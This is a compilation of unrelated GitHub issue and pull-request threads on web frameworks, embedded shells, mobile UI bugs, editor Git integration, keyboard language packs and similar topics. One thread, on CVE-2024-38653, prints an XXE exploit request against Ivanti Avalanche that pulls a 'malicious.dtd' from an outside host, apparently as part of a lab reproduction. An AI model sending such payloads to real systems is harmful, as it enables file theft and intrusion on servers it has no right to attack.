Setup rails project using component-driven frontend architecture

Most importantly a virtual dom

Not sure which aspects of vDOMs your missing. But having a mostly server-rendered application, I’d say it’s not really needed (as the main selling point is to reduce the number of DOM operations caused by declarative view updates…).

and the component pattern as a hierarchy. It's reducing complexity sooo much.
How could you nest components in this approach? Could you give an example? What I mean is how could you create a component hierarchy here?

Totally agree, I wouldn’t want to miss components for frontend work as well. 🎉There’s a rather simple example of nested components with the page_wrapper component being used in home.html.erb.
You can also use content areas/slots like this:
# modal.rb
class Modal < ViewComponent::Base
  with_content_areas :header, :body
end

# modal.html.erb

        <%= @header %>

        <%= @body %>

Use it like this:
<%= c 'modal' do |m| %>
  <% m.with(:header) do %>

  <% end %>

  <% m.with(:body) do %>

  <% end %>
<% end %>

Btw, I’m not sure if you saw my Slack message. Should’ve created this PR as a draft as I wanted to add an extensive description to it explaining some of the changes of this setup.

Removed the collapsible component
Added tests for the other components
Renamed routes to be consistent (as the pages/home route was originally only meant for demonstration purposees.
Added Prettier (including a pre-commit hook via lefthook)

@roschaefer, I saw you already set up Rubocop and RSpec in #5, so I skipped that for now. Also, I didn’t add additional controller tests for now, as I didn’t want to do all the work converting them from minitest to RSpec later.
Will add CI integration in a separate PR so this one doesn’t get too big…

I'm going to merge, well done. However I still question if it was a good choice to scratch a convenient full-blown UI framework. See this:

Totally agree users should get feedback after submitting an issue. I think eventually, users should be redirected to a page showing their question + replies coming in. (Adding that wasn’t in the scope of this PR.) For me, the fact the response to the request is so quick you won’t event notice it, is a good thing (at least once that success/feedback screen is there).


Adding audio files to the file structure

I am not sure about the directory structure. It feels like we are loosing the reference to the issue that contained the files. And with that, we also loose the additional information we asked the users for.

So should I also add some kind of text file along with the audio samples that contains the information about the issue?

So should I also add some kind of text file along with the audio samples that contains the information about the issue?

I am not sure what the best solution here is. What would you say?

So should I also add some kind of text file along with the audio samples that contains the information about the issue?

I am not sure what the best solution here is. What would you say?

I feel like a text file would be able to keep track of the issue number along with the additional data we had asked for


Updated session middleware to support node v6

Node <v6.14.4 does not have the WHATWG URL class, causing parsing of the Referer header to throw. This removes use of the URL class in favour for the legacy url in node.

Other then the try/catch questions the rest looks good


Collector debug 2rd

What type of PR is this?

[ ] API-change
[ ] BUG
[x] Improvement
[ ] Documentation
[ ] Feature
[ ] Test and CI
[x] Code Refactoring

Which issue(s) this PR fixes:
issue #13625
What this PR does / why we need it:

优化 MOCollector 序列化的顺序：先序列化成 byte，不要缓存obj
优化 channel损耗，使用无锁队列 —— 使用 ringbuffer 替换 channel
提前进行 aggr

merged.


ninja: Failed to download resource "ninja_bottle_manifest"

Hi,
My brew failed to download ninja. Here are the logs:
❯ brew install ninja
==> Fetching ninja
==> Downloading https://ghcr.io/v2/homebrew/core/ninja/manifests/1.11.1

curl: (22) The requested URL returned error: 503
Warning: Problem : HTTP error. Will retry in 1 seconds. 3 retries left.
curl: (22) The requested URL returned error: 503
Warning: Problem : HTTP error. Will retry in 2 seconds. 2 retries left.
curl: (22) The requested URL returned error: 503
Warning: Problem : HTTP error. Will retry in 4 seconds. 1 retries left.
curl: (22) The requested URL returned error: 503#    #     #

Error: ninja: Failed to download resource "ninja_bottle_manifest"
Download failed: https://ghcr.io/v2/homebrew/core/ninja/manifests/1.11.1

I clicked in the link
https://ghcr.io/v2/homebrew/core/ninja/manifests/1.11.1

and the result is
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required"}]}

Shouldn't you be reporting this to brew, then?

You're right. I will close this issue.


Adding the 'addRewriter' to winston

I am not sure why this was not added, but this simple change would allow people to add rewriters to the default logger without having to do a lot of changes to their code.

This is a duplicate of #258; shouldn't it be closed?


Shell: Remove unnecessary new lines at startup

When the shell start, it will print two lines. The reason for that behavior is not documented. Remove that to make the code simpler and shorter one line at a time.

When the shell start, it will print two lines. The reason for that behavior is not documented. Remove that to make the code simpler and shorter one line at a time.

What makes you think those newlines are unnecessary? The code was added for a reason.

When the shell start, it will print two lines. The reason for that behavior is not documented. Remove that to make the code simpler and shorter one line at a time.

What makes you think those newlines are unnecessary? The code was added for a reason.

The fact that there is no documentation nor any tests. I checked the PR that introduced the behavior (https://github.com/zephyrproject-rtos/zephyr/pull/9362) and did not find any arguments.
If you can think of how it could be useful, please let me know. And if possible, add a test to demonstrate the usefulness of it or at least some documentation.

Thank you for your feedback.
The reason for adding these new lines at the start of the shell is to ensure that the prompt begins on a clean line. This is particularly useful in situations where the program may have experienced a reset or if it has hung and subsequently restarted. By starting the prompt on a new line, it visually separates the new shell session from any previous output on the terminal, making it much clearer for the user to see where the new session begins.
I understand the importance of tests and documentation, but in this case, the functionality is straightforward and doesn’t require them. The code’s purpose is clear and adding tests or detailed documentation might not add much value.
However, I do see the benefit of making the intent clearer, so I'm happy to add a comment above the code to explain its purpose. This should help anyone reading the code in the future.
If you have further concerns or suggestions, I’m open to discussing them, but I believe a concise comment should suffice.

Hi @jakub-uC, thanks for taking the time to explain things to me, it's much appreciated!
That said, the way it is implemented looks a bit hacky to me.
You said that this functionality is straightforward but is it? At first, I did not understand why there was a condition on the length of the prompt.
From what I saw elsewhere when playing with other shells and terminal programs, the usual way would rather be to move the cursor position for this kind of thing.
So, I investigated a bit more, and I now understand why there is that if condition, but it's definitely not straightforward:
The function state_set in shell_start calls z_shell_print_prompt_and_cmd which calls z_shell_op_cursor_position_synchronize. In that function there is the following code:
https://github.com/zephyrproject-rtos/zephyr/blob/6b6c4333b7fb85d7ea0729e2d084af94f3b65ac4/subsys/shell/shell_ops.c#L75-L80
Seems to make sense: the line is full, we move the cursor to the next line. Now let's look at the documentation of full_line_cmd:
Function returns true if command length is equal to multiplicity of terminal width.

Seems odd, the docstring says that the function does a bit more than the comment at the call-site. Let's take a look at the implementation:
https://github.com/zephyrproject-rtos/zephyr/blob/6b6c4333b7fb85d7ea0729e2d084af94f3b65ac4/subsys/shell/shell_ops.c#L41-L48
Indeed, the function does more than what the comment in z_shell_op_cursor_position_synchronize states: If the line is empty, the function will return true and the cursor will be moved to a new line.
We now understand why there is that condition on the prompt size in shell_start. It's because when there is no prompt, the shell will have the correct behavior and will put the cursor on a new line. But that behavior is not documented at all and kind of a side effect according to the comment in z_shell_op_cursor_position_synchronize.
My point writing that is to highlight how something that may seem trivial isn't. I don't mind having two lines when I start my shell. But I definitely care about the code complexity and readability. And having code like that is not helpful for future contributors.
Here are my suggestions:

Apply my patch, as I demonstrated it, those two lines shouldn't be here
If you both agree (@henrikbrixandersen @jakub-uC), I'll make a follow-up PR that will remove the side effect of full_line_cmd and then add a call to z_cursor_next_line_move in shell_start

@theob-pro
Please take a look at the example:

If you remove these two new lines, the result after the reset will be as shown in the picture, and it will have the following consequences until the command is executed (press Enter):
The prompt will be printed on the same line, in the same place where it was before the reset. This does not look neat.
The shell's logic will have an incorrect understanding of the cursor's position, which will negatively affect the correct handling of arrow keys for cursor movement (e.g., when navigating up/down during command editing).
The code you are analyzing further assumes that the shell started at position x == 0.

@jakub-uC, I understand your concern about the reset, and I agree with you. My point here is that the way it's done is not correct and hard to understand.
Was it clear to you why the there was that if condition if the prompt is empty? Does that mean that we don't mind writing on the same line after a reset if we don't have a prompt?
What I am proposing is fixing full_line_cmd and using z_cursor_next_line_move in shell_start. Does that make sense to you?

I'm not entirely sure if I fully understand how you want to modify the full_line_cmd function. If it's not too much trouble, could I kindly ask you to add a commit to this PR that modifies this function?
Replacing z_shell_raw_fprintf(sh->fprintf_ctx, "\n\n"); with two calls z_cursor_next_line_move is also fine with me. Calling the function twice doesn't add much overhead, especially since this code isn't executed very often. Typically after a reboot or shell suspension-resumption. This will definitely improve the readability of the code.
There is indeed an inconsistency in the comments for the full_line_cmd function. It should return true if the cursor needs to be on a new line, which is when the prompt plus the printed command take up the entire width of the terminal.
Thank you for your patience with the explanations, but each of us have a different context in mind, which leads to misunderstandings. Adding a commit with the proposed change would greatly improve communication.

Ahh you did it already! :)
It looks great! Could you please add 2 new lines instead of 1? I should mention that this requirement was established at Nordic when I was still working there. ;)

It looks great! Could you please add 2 new lines instead of 1? I should mention that this requirement was established at Nordic when I was still working there. ;)

Could you please provide more information? Is there a specific reason for that?
As I understand the reason for adding a new line at the shell startup, it's hard for me to find a good reason to add a second one. To be honest, if this is a personal preference I would prefer to tell users that they can configure the prompt however they want using one of the CONFIG_SHELL_PROMPT_* Kconfig symbols and that they can add new line there.

I won't insist on making the change. The reasoning at the time was that with 2 lines, you can see the device reset, and it's possible to distinguish it from the regular execution of the command.

Rebased to fix failing test.


bug: Ion-select transparent when in android

Type: bug
Ionic Version: 2.x
Platform: android 5.1 webview
The ion-select element doesn't work properly in android device, it opens the alert but for some reason the alert-wrapper opacity is 0.1 and is an inline style which could come from an animation, but why only in Android but in IOS and web works?:

Update 1: Seems to happen to me when using options setted with *ngFor, it still works ok with static options set in the html.

**Update 2: ** Setting the array from constructor works ok:
public references: any[] = [{
    m_product_id: 101663,
    name: "ARROZ ALCARABAN 450 GR-BONIFI",
    packing_und: 25,
    price: 100,
    quantity: 10,
    total: 1000,
    value: "1103325",
    weight: 0.45
  }]
constructor(...){}

Update 3: Nailed it, i tough it was because i was setting the thing from a Promise, but seems to work with little amount of items, when i scale up the number of items in the ion-select it breaks, after testing the limit of this kind of object is around 20 and i have 240 items.
However since it works in IOS and web with the 240 items, i think it's related to the performance of the device, will i have to use the default html select with that many items?.

Honestly I would look into ways of getting that number smaller. Just my personal opinion, but people usually don't want to scroll through 240 items to fill out a form. If they accidentally selected the wrong one/changed their mind they would have to scroll through them all again. Is there a way you could filter the select, or maybe make a filterable list that comes up in a modal?

I think i will have to create a custom popup with a search bar for filtering, it is in our roadmap but wasn't a priority, guess now it's the time, like it or not.

Update 4: Made the popup by hand and the error still happened to me, i'll try with modal instead, here's the custom alert:
let radioAlert = Alert.create({
      title: 'Producto',
      message: "<ion-searchbar [(ngModel)]='searchQuery' placeholder='Buscar'></ion-searchbar>",
      inputs: this.radioInputs,
      buttons: [{
        text: 'Cancelar'
      },
      {
        text: 'Ok',
        handler: ((data) => {
          console.log('Checkbox data: ', data)
          this.product.ref = data
        })
      }]
    })
    setTimeout(() => {
      this.nav.present(radioAlert)
    }, 5)

Note that this.radioInputs is an array.

@brandyscarney Confirmed, all the Alert inputs suffer this kind of issue when in low performance devices, tested with Android 5.1 Device and Alerts works fine, tested with same Android 5.1 Emulator and this issue raises, making it imposible to test min android version from within an Emulator.

Hello all! Is this still an issue with the latest version of ionic? Thanks!

I'm unable to test since i changed how i managed the opening of the Alerts with the hook onPageDidEnter, that's the current solution, just start running the logic inside that hook instead of the constructoraa.

@Luchillo Awesome, that is where you want to do anything ui related such as ion-select etc. Thanks for getting back to me!


2.9.4 Calculation of the extra charge for transactions over 1024 bytes

If a transaction of more than 1024 bytes requires an additional network fee, then I (possibly) need to add additional GAS UTXO to the transaction, and adding the UTXO process increases the size of the transaction body, which seems to be an unpredictable number of rounds. Iterative function?
It may feel that the efficiency is very expensive, and it may increase a large delay (continue trials until the network fee changes do not cause the transaction length to change)

After testing, about every additional UTXO plus 34bytes in length, we need to add another 0.0034GAS UTXO input. If the input is not enough to pay for this 0.0034GAS, it will cause a new round of trading structure. It can be imagined that if UTXO is less than 0.01 GAS, it will be difficult to construct a legal transaction body.

I think we should pay for script and txouput, but except txinput

Another solution here is to join input transactions in larger outputs... however, this assumes that the "join" transaction is below 1024 bytes. Is it the case?

Hello,
What is the current state of this issue?
Is it needed for neo 3?

I will have to close this due to inactivity 😢
I think this won't be added to NEO 2.
@neo-project/core  I'm closing this, but if you guys think this is doable in NEO 2, please reopen this issue.


Inquiry about CVE-2024-38653

First of all, thank you for your analysis.
I encountered a 405 response when making a PUT request to the /mdm/checkin endpoint. I tested with the versions Ivanti-Avalanche_windows-x64_6_3_1_1507.exe and Ivanti-Avalanche_windows-x64_6_4_0_186.exe, and both had the same issue.
Here is my request:
PUT /mdm/checkin HTTP/1.1
Host: <IP_ADDRESS>:8443
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 123

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://<IP_ADDRESS>:8080/malicious.dtd">
%asd;
%c;
]>

response:
HTTP/1.1 405
Allow: OPTIONS, GET, HEAD, POST
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 1050
Date: Tue, 10 Sep 2024 11:02:57 GMT
...

Did I make a mistake somewhere? Please help clarify.
Thank you.

Hi @imjdl , I just checked it on Version <IP_ADDRESS> and I can see that endpoint accepting PUT request, I am assuming you have deployed the Smart Device Server profile?

If you need any more, you can contact me at discord (same username).

Hi @imjdl , I just checked it on Version <IP_ADDRESS> and I can see that endpoint accepting PUT request, I am assuming you have deployed the Smart Device Server profile?
If you need any more help, you can contact me at discord (username: d4mianwayne).

Thank you for your reply. It was an issue with my own lab. Thanks again. : )


provide a "Launch Stack" button

In addition to or after issue #6 is implemented I would love to provide a Launch Stack button in the README, a la https://github.com/remind101/empire.
Here is the documentation for doing that: https://aws.amazon.com/blogs/devops/construct-your-own-launch-stack-url/
(I'm happy to work on this as well, just submitting it here for discussion.)

FYI, I've added several of these in my fork, here: https://github.com/tobiasmcnulty/aws-container-basics#aws-container-basics


Ability to choose operator for Indicators growing_season_start/end

Addressing a Problem?
It would be nice to be able to choose which operator to use for the indicators growing_season_start/growing_season_end. This is possible for the growing_season_length indicator. However, I find it a bit confusing if the default operator ">=" corresponds to the definition under Notes with Tmean > 5 degC and Tmean < 5 degC or if the default behaviour is  Tmean >= 5 degC and Tmean <= 5 degC.
Potential Solution
No response
Additional context
No response
Contribution

[ ] I would be willing/able to open a Pull Request to contribute this feature.

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Hi @nCarolina!
Indeed, the same addition of the op argument of growing_season_length could be done to the other growing season indicators.  FYI, >= is what is currently coded in the start and end functions,
And sorry for the confusing documentation, the default behaviour for  growing_season_lenght is "T >= thresh" for a start and "T < thresh" (the boolean opposite) for an end.

Thanks to both of you for this quick response to my request!
@aulemahal Okey, then I understand how it works!


Add scanM

I'm not sure if it would actually make sense, but I found myself wanting it (while working in the Either monad).

I will mark this closed for now unless you have other questions


png({quality:100}) get different size of output file with png().

Question about an existing feature
png output question
What are you trying to achieve?
i think the two output will get same file size.because the default quality value is 100
When you searched for similar issues, what did you find that might be related?
no
Please provide a minimal, standalone code sample, without other dependencies, that demonstrates this question
sharp(path.resolve(__dirname, '../source/test.png'))
  .png()
  .toBuffer()
  .then(data => {
    fs.outputFileSync(path.resolve(__dirname, '../output/test1.png'), data, { recursive: true });
  });
sharp(path.resolve(__dirname,  '../source/test.png'))
  .png({
    quality: 100,
  })
  .toBuffer()
  .then(data => {
    fs.outputFileSync(path.resolve(__dirname, '../output/test2.png'), data, { recursive: true });
  });

Please provide sample image(s) that help explain this question
the source image is:

the output image is:

hope for your help   thx

Hi, did you see https://sharp.pixelplumbing.com/api-output#png ?

By default, PNG output is full colour at 8 or 16 bits per pixel. Indexed PNG input at 1, 2 or 4 bits per pixel is converted to 8 bits per pixel. Set palette to true for slower, indexed PNG output.

options.quality use the lowest number of colours needed to achieve given quality, sets palette to true

When you provide a value for quality, you are selecting palette-based output.

thank you so much. i miss the information, now i know it~


(resurrected) French

Hello,
AnySoftKeyboard is a very great project. Thank you !
We start to use it because when a new device didn't allow enough languages...
Unfortunately the French language package was a little old and with some defects (it was very hard to type an apostrophe by example).
So I try to fix the problem.
Like said the README and whatsnew, this resurrected French branch offers:

a Dicolectte based dictionary
two keyboard layout (AZERTY/QWERTY) with symbols, etc.

I followed the various steps of the README file, but I didn't find the way to make screenshots (sorry, it's the very first android project).
However I managed to build a debug APK that I test on my tablet, so it work at least on one android device ... and I hope on others with  AnySoftKeyboard installed ;-)
What next ?
Putting aside the screenshots, the dictionary could be greatly improved adding entries combining apostrophes and a word (b.e. determinant+noun: "l'enfant" or pronoun+verb: "c'est", "m'a"), but I don't know when I will have the time to do it - so perhaps it's better to not wait too much before to make a release.

Sorry for the long wait. Thank you very much for your contribution! I merge this now here and release as soon as possible!

Hello,
I see you just merged the changes...
 and I remember I haven't yet replied to your e-mail of January 31th.
On 31/01/18 11:10, Lyokovic wrote:

Hi,
I just tried to build and run your branch and it seems to work well on
my device (both with the last ASK FDroid release and with a build from
master).
I am using LineageOS 14.1 with microg on a OnePlus 3t.
Is something blocking with this PR?

As I said in my pull request, it's my 1st contribution to an android
package...
The week-end I started to work on the french package, I just made the
minimal configuration of the SDK to compile and generate an APK to test
it on home devices but I have still some android-SDK concepts to learn
for better testing, take screenshots and generate release APK.
Nevertheless I tried to follow the "development rules" described in the
README.md, so I hope the merge was relatively easy.

It would be great if it could be merged, the French package is not
available on F-Droid anymore and has not been updated since 2011 on
the play store :/
Thanks for your work ;)

It's just a 1st step, I keep in mind the necessity of add apostrophes
combinations as I mentioned in the pull request... perhaps for the Spring...
Grégoire

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/AnySoftKeyboard/LanguagePack/pull/106#issuecomment-361885355,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AQJ9AnftSFzEgA-MuiJH8S-rLCdYeR2qks5tQDwwgaJpZM4QbCK0.

@gmontcheuil, can you confirm that you kept the BEPO layout in this version? That is one of the great features available in the old french layout and the alpha one available on #12. It's not clear reading you if you kept it or work only on an AZERTY layout.

@milouse NO, I didn't "kept" the BEPO layout, or to be more exact, I didn't grab it from the "old" French branch.
Many structural changes in the ASK's LanguagePack master branch wasn't yet applied to the French branch, so I preferred base my work on the master branch and follow the steps describe in the main README.
Steps 5 and 6 explain how to add/change keyboard layout. I followed them to add an AZERTY layout (very usual in France) and update the QWERTY one for a better access to accents and apostrophes.
I'm sorry that I didn't thought to the BEPO layout, but if the old "French" branch or any other recent branch have an adequate layout XML it is very easy to add it following this 2 steps.

Ok no problem, it was just to be sure. If I've time, I'll try to add it back as a pull request.

@milouse, is is wise to release to branch to the Play Store?

Yes, an azerty layout is better than nothing. Bepo will come as an update when it'll be ready.

I've added BÉPO. So that's done :)
@milouse what else is missing in the FR pack?

Wow, you've been really quick! Thank you very much. As this, I don't see what may be missing, but I'm not an expert too. I think the best is to release this new language pack asap and we'll test it in the wild. If something is missing, we'll see it at this moment.

Hi there is no way to correct contracted words? Like c'est, j'ai, l'école, etc.? In most of keyboards it get corrected when you type cest, jai or lecole for example.

@xavihernandez
I know this problem and commented it in my pull request.
The Dicollecte Project changed their way to store entries with apostrophes.
Before they were stored as-is - so easy to retrieve -, but now you have to play with linguistic features and/or hunspell rules.
I haven't found the time to change that - perhaps this summer.
If someone is inspired, the Perl script is dictionary/dicollecte2wordlist.pl

@gmontcheuil thanks for your answer. I have another question please: do you know why keyboard does not use frequency for word completion?
For instance, I'm French and use a lot the word ça, but when I type ca it does not get corrected to ça, it's annoying to have to type on suggestions bar to select correct word while I always use it, and never use the first suggested.

@xavihernandez
I'm sorry but I didn't remember when and how the frequency appear in the code I changed.
You can eventually check if the wordlist generated by the Perl script had a high frequency for "ça" or not.
In it hasn't, it's something to correct/add in the script.
Otherwise it could be a problem more generic to AnySoftKeyboard and I recommend you to open a new thread.


Add rotary position embeddings (RoPE)

Should be a very easy addition. Existing JAX code for the 1D version of it is available here:
https://blog.eleuther.ai/rotary-embeddings/

Working on this in the rotary branch.


WiiU Freezing after 30-ish minute of use

i use MiisendU everyday since i dont have a controller, but recently i found an issue, every 30-ish minutes, my wii u freezes and i have to unplug it and replug it and go to the app and type my IP adresse again and its kinda annoying, i asked on reddit though no one responded. this didnt happen on my old wii u so why the hell is it happening on this one? the only differences between them is that the one im using rn is a basic build (the white 8GB Wii U) while my old one was a deluxe build (the black 32GB Wii U)

Thanks for reporting the problem. I'll try to look at it whenever I have time.

Hello, I just want to tell you I was able to reproduce the problem using the .rpx version. The .wuhb with aroma seems to be working properly.

I also am having this problem. I checked my sd card and both the .wuhb and .rpx are installed on it. I am on aroma environment. I downloaded this on the homebrew app store if that helps.

Hello, I just want to tell you I was able to reproduce the problem using the .rpx version. The .wuhb with aroma seems to be working properly.

I downloaded this off of the homebrew app store. It contains both the .wuhb and .rpx version, but I believe I need both for it to work properly.

I think I found the problem. I guess there is a leak in the JSON parsing code. I will try to fix that during the holidays.
By the way, I think the version in the master branch takes now around an hour before it stops sending data.

Fixed in PR #32


Git integration has disappeared for submodule project in 1.11.1

Git integration has disappeared for submodule projects in the latest version. I am not talking about supporting them as submodules - that has never existed, I'm talking about being able to independently open the folder of a submodule project and do Git operations on that project alone. VS code now shows no Git content at all for these projects.
Steps to Reproduce:

Open folder that Git submodule is rooted in.
Check for checkout name in bottom left or anything relevant in the Git window.

Git output window shows:
Using git 2.7.4 from git
git rev-parse --show-toplevel
git rev-parse --show-toplevel
git rev-parse --show-toplevel
git rev-parse --show-toplevel

VSCode Version: Code 1.11.1 (d9484d12b38879b7f4cdd1150efeb2fd2c1fbf39, 2017-04-06T13:55:56.395Z)
OS Version: Linux x64 4.4.0-72-generic
Extensions:

Extension
Author
Version

python
donjayamanne
0.6.0

EditorConfig
EditorConfig
0.6.2

CppSnippets
hars
0.0.7

debugger-for-chrome
msjsdiag
2.7.3

cpptools
ms-vscode
0.10.5

vs-keybindings
ms-vscode
0.1.3

java
redhat
0.1.0

Spell
seanmcbreen
0.9.1

OK, more information on this. It's not the submodule, per se, but just having two different windows open. The second and subsequent windows don't have Git working in them. I'll search for a duplicate issue with this information and link (I'm sure there must be one).

Can't find a duplicate issue, I'll update the title to better reflect the issue.

Closing the window that has Git working in it allows the next opened window to use Git (but not any of the existing opened windows).

Does the problem reproduce in our latest insider release?

Can you show me a screen recording, or screen shots from the latest insider release where Git doesn't work? What exactly does not work?

Sorry for not testing that last week. Been busy. I can confirm that the 1.11.2 insider release does not fix it. SCM: Disable Preview SCM is a valid workaround for now.

Further information: In the limited examples that I have tested, if the second window opens a project from a different repository for the same organisation then it fails, if the project is from a repository not from that organisation it seems to work.

Got it, can you open the Developer Tools on both windows and show me any errors coming up? Especially in the second one.

This is the log from the console:
Broken Github Integration.log.txt
df gives:
/dev/sda3      957701672 30770720 878259416   4% /

What's the outcome if you first open the second workspace and then open the first one?

The opposite. It's always the first opened window that Git works in (as described above, just tested again). If you close the window that Git is working in then Git will work in the next opened window. If you open the first window on a Git controlled project, then close that project and open a non-Git project and then open a second window, Git will work in the second window.

Would you like me to install https://az764295.vo.msecnd.net/insider/6e45311b5781d6550f469d0381d97d0d92e48f6b/VSCode-darwin-insider.zip (linked from the linked issue) to see if the issue persists or are you keen to diagnose the issue in this version of VS Code?

Yeah, please test in that version too. If it's fixed, that's enough.
Else, if it isn't fixed, try the following:

Kill all windows
Start from the command line with code-insiders --disable-extensions
Open the same two window setup

Does it reproduce?

Oops, sorry, I'm not sure that link is to a Linux version.

Today's code insider (version below) exhibits the same problem when run using the command line you give.
Version 1.12.0-insider
Commit 84b2a1ecb6a342d7d82605a330581f06cb726fc3
Date 2017-04-24T06:10:06.779Z
Shell 1.6.6
Renderer 56.0.2924.87
Node 7.4.0

Try the following:

Kill all windows
Start from the command line with code-insiders --disable-extensions
Open the same two window setup

Does it reproduce?

Looks like we have crossed messages, that was the procedure I used when I said I had used the command line you gave.

I see. And the developer tools errors are the same?
@bpasero Check the user's log from the broken Window. Any thoughts?

Yes, the messages (ENOSPC on every file it seems) are the same.

Your issue seems to be #7950. Try to increase the open file limit.

Mind you, I get those messages on the first window where Git works too, so that may be unrelated.

No, it was the cause. Increasing the limit fixed your new Git integration. Thanks for the fix, hopefully you'll find a way to allow Git integration on large projects without this manual intervention.

Thanks for the confirmation @NathanJPhillips 👍


Streamline "Close Track" menu

Commit: Release v0.4.33

The "X" menu for tracks seems so have duplicated functionality:

Clicking on the track name closes the track.
Clicking on "Close Track" closes the "top" track as well (works when there is more than one)

This is quite confusing because for 1. it is not clear what clicking on the menu item does and for 2. it is not clear which track will be closed.
I propose to remove the "Close Track" menu item (2.) and rename the "track name" menu item into "Close ".

The reason it's like that is because there can be multiple "series" in a single track. I agree that "Close track" is confusing. How about renaming "Close track" to "Close all series" or "Close all series above" to indicate that that will close all datasets that are visible in this track?


Update ccpwgl_int.js

Added functionality to the EveSOF function which returns the whole Space Object Factory

Can you please make the appropriate changes to the unminified files.

This PR needs to be closed.


Metric Alerts supported by Microsoft.Web/sites (excluding functions)

The list of supported metrics for Microsoft.Web/sites includes "Average Response Time". The Azure portal allows a user to create an alert on a metric called "Response Time", but this metric is not listed on this page. Is this a documentation issue, or is there some reason not to adopt an alert on this metric?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: c40aefaa-322f-734a-b246-138a71be379f
Version Independent ID: 48980577-42a9-559e-00bd-2d5969200925
Content: Azure Monitor supported metrics by resource type
Content Source: articles/azure-monitor/platform/metrics-supported.md
Service: azure-monitor
Sub-service: metrics
GitHub Login: @anirudhcavale
Microsoft Alias: ancav

Thanks for your comment. The feedback has been shared with the content owner for further review. Thanks for your patience.

This is a doc bug, we are working on updating the doc soon. Thanks  for reporting this.

@anirudhcavale  - do you have this on your backlog or should we keep it open?

@femsulu On our backlog, should get resolved in a week.

We will now close this issue. If there are further questions regarding this matter, please reply and we will gladly continue the discussion.


Provide daily quantitative feedback about number of contacts

The app users are already convinced and probably the best ambassadors for additional active users. However today, the app does not provide data to promote it to additional users. Therefore, I think providing daily data about the app population in my environment would be helpful:

How many Bluetooth devices did I "meet" today?
How many of these are using the corona app?

Problem and motivation
I think this will also help to get users more engaged daily and talk about it. It would also open up additional gamification features.
Is this something you're interested in working on
Yes

This would also be nice to see that the app actually works at all. Especially in combination with the frequent region change warnings on iOS, it's unclear if it's working correctly.

Duplicate of #5.
Please keep in mind that such feature is not possible to implement, because the framework does not give any information about collected ids.

@tkowark See @tens0rfl0w 's comment above.

Thanks again, ironjan :-)
@stefferber we‘ll close this in favour of #5 and invite you to upvote the other issue.


Training DFF and cityscape data issue

Hi @tonysy ,
I was trying to run DFF using
python ./experiments/deeplab_dff/deeplab_dff_train.py --cfg ./experiments/deeplab_dff/cfgs/deeplab_resnet_v1_101_cityscapes_segmentation_video.yaml
For data preparation, I have downloaded gtFine_trainvaltest.zip (241MB) and leftImg8bit_trainvaltest.zip (11GB)  and the folder has structure like

data/cityscapes_video/gtFine

data/cityscapes_video/leftImg8bit

However, when I try DFF it outputs error for missing data as following:

======== Step:1,Starting to load_gt_segdb =========
======== Total Number of images: 2975======
======== Starting to get gt_segdb ========
======== Starting to create gt_segdb ======
100%|███████████████████████████████████████| 2975/2975 [02:16<00:00, 21.73it/s]
========= Wrote gt segdb to ./data/cache/cityscape_video_leftImg8bit_train_gt_segdb.pkl
=====Start appending flipped images to segdb(./lib/imdb)=====
100%|█████████████████████████████████████| 2975/2975 [00:00<00:00, 6716.08it/s]
{'data': (1L, 3L, 768L, 1024L),
'data_ref': (1L, 3L, 768L, 1024L),
'eq_flag': (1L,),
'label': (1L, 1L, 768L, 1024L)}
./model/pretrained_model/resnet_v1_101
lr 0.0005 lr_epoch_diff [40.336, 60.504] lr_iters [59999, 89999]
ref image path error, image not exists! ./data/cityscapes_video/leftImg8bit/train/tubingen/tubingen_000111_000016_leftImg8bit.png
ref image path error, image not exists! ./data/cityscapes_video/leftImg8bit/train/weimar/weimar_000100_000016_leftImg8bit.png
ref image path error, image not exists! ./data/cityscapes_video/leftImg8bit/train/weimar/weimar_000095_000016_leftImg8bit.png
ref image path error, image not exists! ./data/cityscapes_video/leftImg8bit/train/erfurt/erfurt_000102_000016_leftImg8bit.png

These image files are not stored in the zip file I downloaded from Cityscape website. I want to ask what kind of data you used to run DFF when you mentioned to download cityscapes video data and put it into data/cityscapes_video? Thank you very much.

You need to download this file leftImg8bit_sequence_trainvaltest.zip from the official website, which needs request.

Hi @tonysy ,
Can you tell me the package ID for this zip? I want to make a request via https://www.cityscapes-dataset.com/file-handling/?packageID=XXXX but do not know the ID. Thank you.

Hi @tonysy,
No worries. I think I'll just to contact the team via email. Is this the way how you get the data? Thanks.

Just contact the team and wait for the response. Good luck


Case-sensitive password updates to cAppPool

This is a follow-up to #16 .  Fixed old -eq operator in the Test method, and changed them both from -ne to -cne.
Also fixed a bug in the Get method, where a plain text value was being converted to a SecureString without using the -AsPlainText and -Force switches.

LGTM :+1:


Congestion Control supports

Hola,
I have several questions about cc supports.
1.
In README, ans support reno, cubic, vegas and etc...
However, there is no TCP_CONGESTION option in anssock_setsockopt()
So, is
$ sysctl net.ipv4.tcp_congestion_control=reno
the only way to set socket CC?

is there any plan to support BBR CC algorithm?
(https://cloud.google.com/blog/products/gcp/tcp-bbr-congestion-control-comes-to-gcp-your-internet-just-got-faster)
Thanks!

Still no interface to change TCP CC.
Will support BBR CC in future.

Thanks!
I'll close the issue!

Sorry for reopening,
So for changing CC, the only way is to change net.ipv4.tcp_congestion_control?
or any other configuration in ANS?
I just have a curiosity about ANS reading kernel default configuration as DPDK is Kernel-bypassing.

ANS don't read kernel configuration.
ANS has own configuration API.

Then,
what is the CC Configuration API and how can i call?
and what is the default CC?

The api sitll not open.
Default CC is newreno

Thanks.
Maybe these are the last question!

Is there any other way to change cc but the api?
Then is there any fixed plan(kinda "end of this year") to open the api?
any fixed plan to support BBR?


Adding Albanian sq translation

Hello,
Here you are the Albanian (sq) translation. Please merge it.

Internal Server Error

@ujdhesa this PR hangs for almost a year. Is it still relevant?
I am happy to help, if it is!

@jnweiger,
Yes and no. Yes, because I wanted to add sq translation. No, because I haven’t gone through the steps required for testing it (as provided in the Readme here https://github.com/owncloud/owncloud.org )
So, rejecting the PR for now is OK.

All right. Closing for now. Please ping again, when ready.


[Solved?] Exposure logging is not possible

Avoid duplicates

[x] Bug is not mentioned in the FAQ
